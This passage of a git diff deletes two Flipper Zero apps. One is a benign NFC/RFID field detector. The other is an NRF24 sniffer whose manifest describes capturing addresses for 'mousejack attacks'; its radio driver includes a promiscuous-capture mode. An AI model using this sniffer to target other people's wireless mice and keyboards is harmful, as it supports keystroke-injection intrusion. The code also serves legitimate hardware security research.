- -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const nfc_rfid_detector_scene_on_exit_handlers[])(void* context) = { -#include "nfc_rfid_detector_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers nfc_rfid_detector_scene_handlers = { - .on_enter_handlers = nfc_rfid_detector_scene_on_enter_handlers, - .on_event_handlers = nfc_rfid_detector_scene_on_event_handlers, - .on_exit_handlers = nfc_rfid_detector_scene_on_exit_handlers, - .scene_num = NfcRfidDetectorSceneNum, -}; diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.h b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.h deleted file mode 100644 index 74d324b4d..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) NfcRfidDetectorScene##id, -typedef enum { -#include "nfc_rfid_detector_scene_config.h" - NfcRfidDetectorSceneNum, -} NfcRfidDetectorScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers nfc_rfid_detector_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "nfc_rfid_detector_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "nfc_rfid_detector_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "nfc_rfid_detector_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_about.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_about.c deleted file mode 100644 index ddcb8aac0..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_about.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" - -void nfc_rfid_detector_scene_about_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - NfcRfidDetectorApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void nfc_rfid_detector_scene_about_on_enter(void* context) { - NfcRfidDetectorApp* app = context; - - FuriString* temp_str; - temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", NFC_RFID_DETECTOR_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", NFC_RFID_DETECTOR_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", NFC_RFID_DETECTOR_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, - "This application allows\nyou to determine what\ntype of electromagnetic\nfield the reader is using.\nFor LF RFID you can also\nsee the carrier frequency\n\n"); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! NFC/RFID detector \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcRfidDetectorViewWidget); -} - -bool nfc_rfid_detector_scene_about_on_event(void* context, SceneManagerEvent event) { - NfcRfidDetectorApp* app = context; - bool consumed = false; - UNUSED(app); - UNUSED(event); - - return consumed; -} - -void nfc_rfid_detector_scene_about_on_exit(void* context) { - NfcRfidDetectorApp* app = context; - - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_config.h b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_config.h deleted file mode 100644 index ab49ad5c2..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(nfc_rfid_detector, start, Start) -ADD_SCENE(nfc_rfid_detector, about, About) -ADD_SCENE(nfc_rfid_detector, field_presence, FieldPresence) diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_field_presence.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_field_presence.c deleted file mode 100644 index ec53b5a0a..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_field_presence.c +++ /dev/null @@ -1,60 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" -#include "../views/nfc_rfid_detector_view_field_presence.h" - -void nfc_rfid_detector_scene_field_presence_callback( - NfcRfidDetectorCustomEvent event, - void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -static const NotificationSequence notification_app_display_on = { - - &message_display_backlight_on, - NULL, -}; - -static void nfc_rfid_detector_scene_field_presence_update(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - - uint32_t frequency = 0; - bool nfc_field = nfc_rfid_detector_app_field_presence_is_nfc(app); - bool rfid_field = nfc_rfid_detector_app_field_presence_is_rfid(app, &frequency); - - if(nfc_field || rfid_field) - notification_message(app->notifications, ¬ification_app_display_on); - - nfc_rfid_detector_view_field_presence_update( - app->nfc_rfid_detector_field_presence, nfc_field, rfid_field, frequency); -} - -void nfc_rfid_detector_scene_field_presence_on_enter(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - - // Start detection of field presence - nfc_rfid_detector_app_field_presence_start(app); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcRfidDetectorViewFieldPresence); -} - -bool nfc_rfid_detector_scene_field_presence_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeTick) { - nfc_rfid_detector_scene_field_presence_update(app); - } - - return consumed; -} - -void nfc_rfid_detector_scene_field_presence_on_exit(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - // Stop detection of field presence - nfc_rfid_detector_app_field_presence_stop(app); -} diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_start.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_start.c deleted file mode 100644 index 7b71bd973..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene_start.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" - -typedef enum { - SubmenuIndexNfcRfidDetectorFieldPresence, - SubmenuIndexNfcRfidDetectorAbout, -} SubmenuIndex; - -void nfc_rfid_detector_scene_start_submenu_callback(void* context, uint32_t index) { - NfcRfidDetectorApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_rfid_detector_scene_start_on_enter(void* context) { - UNUSED(context); - NfcRfidDetectorApp* app = context; - Submenu* submenu = app->submenu; - - submenu_add_item( - submenu, - "Detect field type", - SubmenuIndexNfcRfidDetectorFieldPresence, - nfc_rfid_detector_scene_start_submenu_callback, - app); - submenu_add_item( - submenu, - "About", - SubmenuIndexNfcRfidDetectorAbout, - nfc_rfid_detector_scene_start_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcRfidDetectorSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcRfidDetectorViewSubmenu); -} - -bool nfc_rfid_detector_scene_start_on_event(void* context, SceneManagerEvent event) { - NfcRfidDetectorApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexNfcRfidDetectorAbout) { - scene_manager_next_scene(app->scene_manager, NfcRfidDetectorSceneAbout); - consumed = true; - } else if(event.event == SubmenuIndexNfcRfidDetectorFieldPresence) { - scene_manager_next_scene(app->scene_manager, NfcRfidDetectorSceneFieldPresence); - consumed = true; - } - scene_manager_set_scene_state(app->scene_manager, NfcRfidDetectorSceneStart, event.event); - } - - return consumed; -} - -void nfc_rfid_detector_scene_start_on_exit(void* context) { - NfcRfidDetectorApp* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.c b/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.c deleted file mode 100644 index e65eb8362..000000000 --- a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.c +++ /dev/null @@ -1,164 +0,0 @@ -#include "nfc_rfid_detector_view_field_presence.h" -#include "../nfc_rfid_detector_app_i.h" -#include - -#include -#include - -#define FIELD_FOUND_WEIGHT 5 - -typedef enum { - NfcRfidDetectorTypeFieldPresenceNfc, - NfcRfidDetectorTypeFieldPresenceRfid, -} NfcRfidDetectorTypeFieldPresence; - -static const Icon* NfcRfidDetectorFieldPresenceIcons[] = { - [NfcRfidDetectorTypeFieldPresenceNfc] = &I_NFC_detect_45x30, - [NfcRfidDetectorTypeFieldPresenceRfid] = &I_Rfid_detect_45x30, -}; - -struct NfcRfidDetectorFieldPresence { - View* view; -}; - -typedef struct { - uint8_t nfc_field; - uint8_t rfid_field; - uint32_t rfid_frequency; -} NfcRfidDetectorFieldPresenceModel; - -void nfc_rfid_detector_view_field_presence_update( - NfcRfidDetectorFieldPresence* instance, - bool nfc_field, - bool rfid_field, - uint32_t rfid_frequency) { - furi_assert(instance); - with_view_model( - instance->view, - NfcRfidDetectorFieldPresenceModel * model, - { - if(nfc_field) { - model->nfc_field = FIELD_FOUND_WEIGHT; - } else if(model->nfc_field) { - model->nfc_field--; - } - if(rfid_field) { - model->rfid_field = FIELD_FOUND_WEIGHT; - model->rfid_frequency = rfid_frequency; - } else if(model->rfid_field) { - model->rfid_field--; - } - }, - true); -} - -void nfc_rfid_detector_view_field_presence_draw( - Canvas* canvas, - NfcRfidDetectorFieldPresenceModel* model) { - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - if(!model->nfc_field && !model->rfid_field) { - canvas_draw_icon(canvas, 0, 16, &I_Modern_reader_18x34); - canvas_draw_icon(canvas, 22, 12, &I_Move_flipper_26x39); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 56, 36, "Touch the reader"); - } else { - if(model->nfc_field) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 21, 10, "NFC"); - canvas_draw_icon( - canvas, - 9, - 17, - NfcRfidDetectorFieldPresenceIcons[NfcRfidDetectorTypeFieldPresenceNfc]); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 9, 62, "13,56 MHz"); - } - - if(model->rfid_field) { - char str[16]; - snprintf(str, sizeof(str), "%.02f KHz", (double)model->rfid_frequency / 1000); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 76, 10, "LF RFID"); - canvas_draw_icon( - canvas, - 71, - 17, - NfcRfidDetectorFieldPresenceIcons[NfcRfidDetectorTypeFieldPresenceRfid]); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 69, 62, str); - } - } -} - -bool nfc_rfid_detector_view_field_presence_input(InputEvent* event, void* context) { - furi_assert(context); - NfcRfidDetectorFieldPresence* instance = context; - UNUSED(instance); - - if(event->key == InputKeyBack) { - return false; - } - - return true; -} - -void nfc_rfid_detector_view_field_presence_enter(void* context) { - furi_assert(context); - NfcRfidDetectorFieldPresence* instance = context; - with_view_model( - instance->view, - NfcRfidDetectorFieldPresenceModel * model, - { - model->nfc_field = 0; - model->rfid_field = 0; - model->rfid_frequency = 0; - }, - true); -} - -void nfc_rfid_detector_view_field_presence_exit(void* context) { - furi_assert(context); - NfcRfidDetectorFieldPresence* instance = context; - UNUSED(instance); -} - -NfcRfidDetectorFieldPresence* nfc_rfid_detector_view_field_presence_alloc() { - NfcRfidDetectorFieldPresence* instance = malloc(sizeof(NfcRfidDetectorFieldPresence)); - - // View allocation and configuration - instance->view = view_alloc(); - - view_allocate_model( - instance->view, ViewModelTypeLocking, sizeof(NfcRfidDetectorFieldPresenceModel)); - view_set_context(instance->view, instance); - view_set_draw_callback( - instance->view, (ViewDrawCallback)nfc_rfid_detector_view_field_presence_draw); - view_set_input_callback(instance->view, nfc_rfid_detector_view_field_presence_input); - view_set_enter_callback(instance->view, nfc_rfid_detector_view_field_presence_enter); - view_set_exit_callback(instance->view, nfc_rfid_detector_view_field_presence_exit); - - with_view_model( - instance->view, - NfcRfidDetectorFieldPresenceModel * model, - { - model->nfc_field = 0; - model->rfid_field = 0; - model->rfid_frequency = 0; - }, - true); - return instance; -} - -void nfc_rfid_detector_view_field_presence_free(NfcRfidDetectorFieldPresence* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* nfc_rfid_detector_view_field_presence_get_view(NfcRfidDetectorFieldPresence* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.h b/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.h deleted file mode 100644 index 0ddb4e2cd..000000000 --- a/applications/external/nfc_rfid_detector/views/nfc_rfid_detector_view_field_presence.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once - -#include -#include "../helpers/nfc_rfid_detector_types.h" -#include "../helpers/nfc_rfid_detector_event.h" - -typedef struct NfcRfidDetectorFieldPresence NfcRfidDetectorFieldPresence; - -void nfc_rfid_detector_view_field_presence_update( - NfcRfidDetectorFieldPresence* instance, - bool nfc_field, - bool rfid_field, - uint32_t rfid_frequency); - -NfcRfidDetectorFieldPresence* nfc_rfid_detector_view_field_presence_alloc(); - -void nfc_rfid_detector_view_field_presence_free(NfcRfidDetectorFieldPresence* instance); - -View* nfc_rfid_detector_view_field_presence_get_view(NfcRfidDetectorFieldPresence* instance); diff --git a/applications/external/nrfsniff/application.fam b/applications/external/nrfsniff/application.fam deleted file mode 100644 index 03646724d..000000000 --- a/applications/external/nrfsniff/application.fam +++ /dev/null @@ -1,22 +0,0 @@ -App( - appid="nrf24_sniffer", - name="[NRF24] Sniffer", - apptype=FlipperAppType.EXTERNAL, - entry_point="nrfsniff_app", - requires=["gui"], - stack_size=2 * 1024, - order=70, - fap_icon="nrfsniff_10px.png", - fap_category="GPIO", - fap_author="@mothball187 & @xMasterX", - fap_version="1.0", - fap_description="App captures addresses to use with NRF24 Mouse Jacker app to perform mousejack attacks", - fap_private_libs=[ - Lib( - name="nrf24", - sources=[ - "nrf24.c", - ], - ), - ], -) diff --git a/applications/external/nrfsniff/lib/nrf24/nrf24.c b/applications/external/nrfsniff/lib/nrf24/nrf24.c deleted file mode 100644 index 67c5dde1c..000000000 --- a/applications/external/nrfsniff/lib/nrf24/nrf24.c +++ /dev/null @@ -1,530 +0,0 @@ -#include "nrf24.h" -#include -#include -#include -#include -#include - -void nrf24_init() { - furi_hal_spi_bus_handle_init(nrf24_HANDLE); - furi_hal_spi_acquire(nrf24_HANDLE); - furi_hal_gpio_init(nrf24_CE_PIN, GpioModeOutputPushPull, GpioPullUp, GpioSpeedVeryHigh); - furi_hal_gpio_write(nrf24_CE_PIN, false); -} - -void nrf24_deinit() { - furi_hal_spi_release(nrf24_HANDLE); - furi_hal_spi_bus_handle_deinit(nrf24_HANDLE); - furi_hal_gpio_write(nrf24_CE_PIN, false); - furi_hal_gpio_init(nrf24_CE_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow); -} - -void nrf24_spi_trx( - FuriHalSpiBusHandle* handle, - uint8_t* tx, - uint8_t* rx, - uint8_t size, - uint32_t timeout) { - UNUSED(timeout); - furi_hal_gpio_write(handle->cs, false); - furi_hal_spi_bus_trx(handle, tx, rx, size, nrf24_TIMEOUT); - furi_hal_gpio_write(handle->cs, true); -} - -uint8_t nrf24_write_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t data) { - uint8_t tx[2] = {W_REGISTER | (REGISTER_MASK & reg), data}; - uint8_t rx[2] = {0}; - nrf24_spi_trx(handle, tx, rx, 2, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t - nrf24_write_buf_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) { - uint8_t tx[size + 1]; - uint8_t rx[size + 1]; - memset(rx, 0, size + 1); - tx[0] = W_REGISTER | (REGISTER_MASK & reg); - memcpy(&tx[1], data, size); - nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t nrf24_read_reg(FuriHalSpiBusHandle* handle, uint8_t reg, uint8_t* data, uint8_t size) { - uint8_t tx[size + 1]; - uint8_t rx[size + 1]; - memset(rx, 0, size + 1); - tx[0] = R_REGISTER | (REGISTER_MASK & reg); - memset(&tx[1], 0, size); - nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); - memcpy(data, &rx[1], size); - return rx[0]; -} - -uint8_t nrf24_flush_rx(FuriHalSpiBusHandle* handle) { - uint8_t tx[] = {FLUSH_RX}; - uint8_t rx[] = {0}; - nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t nrf24_flush_tx(FuriHalSpiBusHandle* handle) { - uint8_t tx[] = {FLUSH_TX}; - uint8_t rx[] = {0}; - nrf24_spi_trx(handle, tx, rx, 1, nrf24_TIMEOUT); - return rx[0]; -} - -uint8_t nrf24_get_maclen(FuriHalSpiBusHandle* handle) { - uint8_t maclen; - nrf24_read_reg(handle, REG_SETUP_AW, &maclen, 1); - maclen &= 3; - return maclen + 2; -} - -uint8_t nrf24_set_maclen(FuriHalSpiBusHandle* handle, uint8_t maclen) { - assert(maclen > 1 && maclen < 6); - uint8_t status = 0; - status = nrf24_write_reg(handle, REG_SETUP_AW, maclen - 2); - return status; -} - -uint8_t nrf24_status(FuriHalSpiBusHandle* handle) { - uint8_t status; - uint8_t tx[] = {R_REGISTER | (REGISTER_MASK & REG_STATUS)}; - nrf24_spi_trx(handle, tx, &status, 1, nrf24_TIMEOUT); - return status; -} - -uint32_t nrf24_get_rate(FuriHalSpiBusHandle* handle) { - uint8_t setup = 0; - uint32_t rate = 0; - nrf24_read_reg(handle, REG_RF_SETUP, &setup, 1); - setup &= 0x28; - if(setup == 0x20) - rate = 250000; // 250kbps - else if(setup == 0x08) - rate = 2000000; // 2Mbps - else if(setup == 0x00) - rate = 1000000; // 1Mbps - - return rate; -} - -uint8_t nrf24_set_rate(FuriHalSpiBusHandle* handle, uint32_t rate) { - uint8_t r6 = 0; - uint8_t status = 0; - if(!rate) rate = 2000000; - - nrf24_read_reg(handle, REG_RF_SETUP, &r6, 1); // RF_SETUP register - r6 = r6 & (~0x28); // Clear rate fields. - if(rate == 2000000) - r6 = r6 | 0x08; - else if(rate == 1000000) - r6 = r6; - else if(rate == 250000) - r6 = r6 | 0x20; - - status = nrf24_write_reg(handle, REG_RF_SETUP, r6); // Write new rate. - return status; -} - -uint8_t nrf24_get_chan(FuriHalSpiBusHandle* handle) { - uint8_t channel = 0; - nrf24_read_reg(handle, REG_RF_CH, &channel, 1); - return channel; -} - -uint8_t nrf24_set_chan(FuriHalSpiBusHandle* handle, uint8_t chan) { - uint8_t status; - status = nrf24_write_reg(handle, REG_RF_CH, chan); - return status; -} - -uint8_t nrf24_get_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) { - uint8_t size = 0; - uint8_t status = 0; - size = nrf24_get_maclen(handle); - status = nrf24_read_reg(handle, REG_RX_ADDR_P0, mac, size); - return status; -} - -uint8_t nrf24_set_src_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) { - uint8_t status = 0; - uint8_t clearmac[] = {0, 0, 0, 0, 0}; - nrf24_set_maclen(handle, size); - nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, clearmac, 5); - status = nrf24_write_buf_reg(handle, REG_RX_ADDR_P0, mac, size); - return status; -} - -uint8_t nrf24_get_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac) { - uint8_t size = 0; - uint8_t status = 0; - size = nrf24_get_maclen(handle); - status = nrf24_read_reg(handle, REG_TX_ADDR, mac, size); - return status; -} - -uint8_t nrf24_set_dst_mac(FuriHalSpiBusHandle* handle, uint8_t* mac, uint8_t size) { - uint8_t status = 0; - uint8_t clearmac[] = {0, 0, 0, 0, 0}; - nrf24_set_maclen(handle, size); - nrf24_write_buf_reg(handle, REG_TX_ADDR, clearmac, 5); - status = nrf24_write_buf_reg(handle, REG_TX_ADDR, mac, size); - return status; -} - -uint8_t nrf24_get_packetlen(FuriHalSpiBusHandle* handle) { - uint8_t len = 0; - nrf24_read_reg(handle, RX_PW_P0, &len, 1); - return len; -} - -uint8_t nrf24_set_packetlen(FuriHalSpiBusHandle* handle, uint8_t len) { - uint8_t status = 0; - status = nrf24_write_reg(handle, RX_PW_P0, len); - return status; -} - -uint8_t - nrf24_rxpacket(FuriHalSpiBusHandle* handle, uint8_t* packet, uint8_t* packetsize, bool full) { - uint8_t status = 0; - uint8_t size = 0; - uint8_t tx_pl_wid[] = {R_RX_PL_WID, 0}; - uint8_t rx_pl_wid[] = {0, 0}; - uint8_t tx_cmd[33] = {0}; // 32 max payload size + 1 for command - uint8_t tmp_packet[33] = {0}; - - status = nrf24_status(handle); - - if(status & 0x40) { - if(full) - size = nrf24_get_packetlen(handle); - else { - nrf24_spi_trx(handle, tx_pl_wid, rx_pl_wid, 2, nrf24_TIMEOUT); - size = rx_pl_wid[1]; - } - - tx_cmd[0] = R_RX_PAYLOAD; - nrf24_spi_trx(handle, tx_cmd, tmp_packet, size + 1, nrf24_TIMEOUT); - nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit. - memcpy(packet, &tmp_packet[1], size); - } else if(status == 0) { - nrf24_flush_rx(handle); - nrf24_write_reg(handle, REG_STATUS, 0x40); // clear bit. - } - - *packetsize = size; - return status; -} - -uint8_t nrf24_txpacket(FuriHalSpiBusHandle* handle, uint8_t* payload, uint8_t size, bool ack) { - uint8_t status = 0; - uint8_t tx[size + 1]; - uint8_t rx[size + 1]; - memset(tx, 0, size + 1); - memset(rx, 0, size + 1); - - if(!ack) - tx[0] = W_TX_PAYLOAD_NOACK; - else - tx[0] = W_TX_PAYLOAD; - - memcpy(&tx[1], payload, size); - nrf24_spi_trx(handle, tx, rx, size + 1, nrf24_TIMEOUT); - nrf24_set_tx_mode(handle); - - while(!(status & (TX_DS | MAX_RT))) status = nrf24_status(handle); - - if(status & MAX_RT) nrf24_flush_tx(handle); - - nrf24_set_idle(handle); - nrf24_write_reg(handle, REG_STATUS, TX_DS | MAX_RT); - return status & TX_DS; -} - -uint8_t nrf24_power_up(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg = cfg | 2; - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - furi_delay_ms(5000); - return status; -} - -uint8_t nrf24_set_idle(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg &= 0xfc; // clear bottom two bits to power down the radio - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - //nr204_write_reg(handle, REG_EN_RXADDR, 0x0); - furi_hal_gpio_write(nrf24_CE_PIN, false); - return status; -} - -uint8_t nrf24_set_rx_mode(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - //status = nrf24_write_reg(handle, REG_CONFIG, 0x0F); // enable 2-byte CRC, PWR_UP, and PRIM_RX - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg |= 0x03; // PWR_UP, and PRIM_RX - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - //nr204_write_reg(REG_EN_RXADDR, 0x03) // Set RX Pipe 0 and 1 - furi_hal_gpio_write(nrf24_CE_PIN, true); - furi_delay_ms(2000); - return status; -} - -uint8_t nrf24_set_tx_mode(FuriHalSpiBusHandle* handle) { - uint8_t status = 0; - uint8_t cfg = 0; - furi_hal_gpio_write(nrf24_CE_PIN, false); - nrf24_write_reg(handle, REG_STATUS, 0x30); - //status = nrf24_write_reg(handle, REG_CONFIG, 0x0E); // enable 2-byte CRC, PWR_UP - nrf24_read_reg(handle, REG_CONFIG, &cfg, 1); - cfg &= 0xfe; // disable PRIM_RX - cfg |= 0x02; // PWR_UP - status = nrf24_write_reg(handle, REG_CONFIG, cfg); - furi_hal_gpio_write(nrf24_CE_PIN, true); - furi_delay_ms(2); - return status; -} - -void nrf24_configure( - FuriHalSpiBusHandle* handle, - uint8_t rate, - uint8_t* srcmac, - uint8_t* dstmac, - uint8_t maclen, - uint8_t channel, - bool noack, - bool disable_aa) { - assert(channel <= 125); - assert(rate == 1 || rate == 2); - if(rate == 2) - rate = 8; // 2Mbps - else - rate = 0; // 1Mbps - - nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF - nrf24_set_idle(handle); - nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts - if(disable_aa) - nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst - else - nrf24_write_reg(handle, REG_EN_AA, 0x1F); // Enable Shockburst - - nrf24_write_reg(handle, REG_DYNPD, 0x3F); // enable dynamic payload length on all pipes - if(noack) - nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack - else { - nrf24_write_reg(handle, REG_CONFIG, 0x0C); // 2 byte CRC - nrf24_write_reg(handle, REG_FEATURE, 0x07); // enable dyn payload and ack - nrf24_write_reg( - handle, REG_SETUP_RETR, 0x1f); // 15 retries for AA, 500us auto retransmit delay - } - - nrf24_set_idle(handle); - nrf24_flush_rx(handle); - nrf24_flush_tx(handle); - - if(maclen) nrf24_set_maclen(handle, maclen); - if(srcmac) nrf24_set_src_mac(handle, srcmac, maclen); - if(dstmac) nrf24_set_dst_mac(handle, dstmac, maclen); - - nrf24_write_reg(handle, REG_RF_CH, channel); - nrf24_write_reg(handle, REG_RF_SETUP, rate); - furi_delay_ms(200); -} - -void nrf24_init_promisc_mode(FuriHalSpiBusHandle* handle, uint8_t channel, uint8_t rate) { - //uint8_t preamble[] = {0x55, 0x00}; // little endian - uint8_t preamble[] = {0xAA, 0x00}; // little endian - //uint8_t preamble[] = {0x00, 0x55}; // little endian - //uint8_t preamble[] = {0x00, 0xAA}; // little endian - nrf24_write_reg(handle, REG_CONFIG, 0x00); // Stop nRF - nrf24_write_reg(handle, REG_STATUS, 0x1c); // clear interrupts - nrf24_write_reg(handle, REG_DYNPD, 0x0); // disable shockburst - nrf24_write_reg(handle, REG_EN_AA, 0x00); // Disable Shockburst - nrf24_write_reg(handle, REG_FEATURE, 0x05); // disable payload-with-ack, enable noack - nrf24_set_maclen(handle, 2); // shortest address - nrf24_set_src_mac(handle, preamble, 2); // set src mac to preamble bits to catch everything - nrf24_set_packetlen(handle, 32); // set max packet length - nrf24_set_idle(handle); - nrf24_flush_rx(handle); - nrf24_flush_tx(handle); - nrf24_write_reg(handle, REG_RF_CH, channel); - nrf24_write_reg(handle, REG_RF_SETUP, rate); - - // prime for RX, no checksum - nrf24_write_reg(handle, REG_CONFIG, 0x03); // PWR_UP and PRIM_RX, disable AA and CRC - furi_hal_gpio_write(nrf24_CE_PIN, true); - furi_delay_ms(100); -} - -void hexlify(uint8_t* in, uint8_t size, char* out) { - memset(out, 0, size * 2); - for(int i = 0; i < size; i++) - snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]); -} - -uint64_t bytes_to_int64(uint8_t* bytes, uint8_t size, bool bigendian) { - uint64_t ret = 0; - for(int i = 0; i < size; i++) - if(bigendian) - ret |= bytes[i] << ((size - 1 - i) * 8); - else - ret |= bytes[i] << (i * 8); - - return ret; -} - -void int64_to_bytes(uint64_t val, uint8_t* out, bool bigendian) { - for(int i = 0; i < 8; i++) { - if(bigendian) - out[i] = (val >> ((7 - i) * 8)) & 0xff; - else - out[i] = (val >> (i * 8)) & 0xff; - } -} - -uint32_t bytes_to_int32(uint8_t* bytes, bool bigendian) { - uint32_t ret = 0; - for(int i = 0; i < 4; i++) - if(bigendian) - ret |= bytes[i] << ((3 - i) * 8); - else - ret |= bytes[i] << (i * 8); - - return ret; -} - -void int32_to_bytes(uint32_t val, uint8_t* out, bool bigendian) { - for(int i = 0; i < 4; i++) { - if(bigendian) - out[i] = (val >> ((3 - i) * 8)) & 0xff; - else - out[i] = (val >> (i * 8)) & 0xff; - } -} - -uint64_t bytes_to_int16(uint8_t* bytes, bool bigendian) { - uint16_t ret = 0; - for(int i = 0; i < 2; i++) - if(bigendian) - ret |= bytes[i] << ((1 - i) * 8); - else - ret |= bytes[i] << (i * 8); - - return ret; -} - -void int16_to_bytes(uint16_t val, uint8_t* out, bool bigendian) { - for(int i = 0; i < 2; i++) { - if(bigendian) - out[i] = (val >> ((1 - i) * 8)) & 0xff; - else - out[i] = (val >> (i * 8)) & 0xff; - } -} - -// handle iffyness with preamble processing sometimes being a bit (literally) off -void alt_address_old(uint8_t* packet, uint8_t* altaddr) { - uint8_t macmess_hi_b[4]; - uint8_t macmess_lo_b[2]; - uint32_t macmess_hi; - uint16_t macmess_lo; - uint8_t preserved; - - // get first 6 bytes into 32-bit and 16-bit variables - memcpy(macmess_hi_b, packet, 4); - memcpy(macmess_lo_b, packet + 4, 2); - - macmess_hi = 